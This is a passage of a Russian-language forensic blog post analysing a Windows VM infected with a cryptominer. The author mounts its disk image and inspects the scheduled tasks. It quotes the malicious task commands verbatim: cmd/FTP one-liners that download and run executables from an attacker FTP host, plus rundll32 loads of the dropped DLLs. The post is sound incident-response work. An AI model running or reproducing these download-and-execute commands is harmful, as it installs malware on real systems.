Первая часть статьи тут.
Итак, у нас есть устойчивое подозрение, что какая-либо система подверглась взлому. Свидетельства этому могут быть самые разные, я не буду переписывать разные банальности, которых полно в открытом Интернете, у нас тут реальный кейс. Мой товарищ заметил, что утилизация ЦПУ на виртуалке возросла до немыслимых значений, что означало только одно - системой завладели с целью помайнить крипту (я не беру во внимание редкие случаи использования вычислительных мощностей для распределённых переборов различных криптографических алгоритмов).
Чтож, эксперимент (см. часть 1) можно считать удачным, но мне стало интересно покопаться "в кишках". Поэтому попросил у товарища образ диска системы для дальнейшего исследования.
Первым делом, если вы хотите поисследовать какую-либо операционную систему, нужно снять образ с накопителя. Причин несколько:
- Обеспечение неизменности - для исследования монтируем образ "только для чтения", что убережёт нас от непреднамеренных внесений изменений и не позволит затереть какие-либо следы.
- Обеспечение сохранности - файл-образ можно растиражировать и сохранить для дальнейших повторных исследований. Работа "наживую" зачастую носит в себе риски вывода из строя накопителя по различным причинам, тогда повторить (а то и закончить) исследование будет затруднительно.
Ну и так далее. Работа с файлом образа намного удобнее, на мой взгляд, чем напрямую с устройством. Есть ряд исключений, о которых я обязательно расскажу на своём канале - подписывайтесь, чтобы не пропустить.
Итак, у меня есть образ диска. В данном случае была использована система виртуализации Hyper-V, поэтому образ формата VHDX я просто добавил в оснастку "Управление дисками" как "Присоединить виртуальный жёсткий диск" (возможно начиная с Windows 8.1).
Далее я обычно открываю R-Studio и выполняю сканирование раздела и работаю уже с отсканированным результатом - это позволяет увидеть файлы, помеченные как удалённые, а также довольно неплохо сортировать и искать файловые объекты по различным критериям (также есть HEX-редактор, не абы какой, но всё-таки полезный):
Сейчас будем проверять наиболее "горячие точки" - первая - корень раздела. Здесь видим удалённый файл 1594.vbs - Visual Basic сценарий. По сути - это обычный текстовый файл. Выделяем файл, нажимаем Ctrl+E:
Не повезло - файл удалён и кластеры, ранее относящиеся к этому файлу уже переназначены. Исходя из содержимого колонки UNICODE - это имеет отношение к системе Windows Prefetch (расширение .pf у файла SVCHOST.EXE-???????.pf). Пока нам это не интересно. Копаем дальше...
Идём в запланированные задачи (C:\Windows\system32\Tasks): излюбленное место для хранения всяких гадостей:
И точно! Характерные файлы, надо сказать. Я уже сталкивался с подобной заразой - значит дальше будет чуть легче. Посмотрим, что в файлах:
Открываем уже знакомый нам HEX-редактор и видим валидный таск - смотрим, что же он выполняет:
cmd.exe /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe
Итак, у нас тут создаётся сценарий s в который помещаются команды для штатного ftp-клиента. По действиям - загружается файл a.exe в каталог C:\windows\ с именем update.exe затем файл запускается.
Проверим остальные таски:
Mysa1:
rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
Здесь выполняется функция ServiceMain с параметром aaaa из DLL item.dat (её кстати надо будет найти).
Mysa2:
cmd.exe /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
Ага, вот откуда берётся item.dat... Ну аналогично, с ftp злоумышленника качается файл.
Mysa3:
cmd.exe /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe
Аналогично. Запомним где искать файл и идём дальше:
ok:
rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
Странно. Он повторяется. Подобные действия уже были
oka:
cmd.exe /c start c:\windows\inf\aspnet\lsma12.exe
Ещё один запуск файла...
Устал писать. Сейчас посмотрим, что из этих маркеров (маркерами я называю различные файлы/пути, которые относятся к инциденту) остались на диске и что из них мы сможем подчерпнуть дальше. Попью чай и продолжу... Буду признателен за лайк и подписку на канал!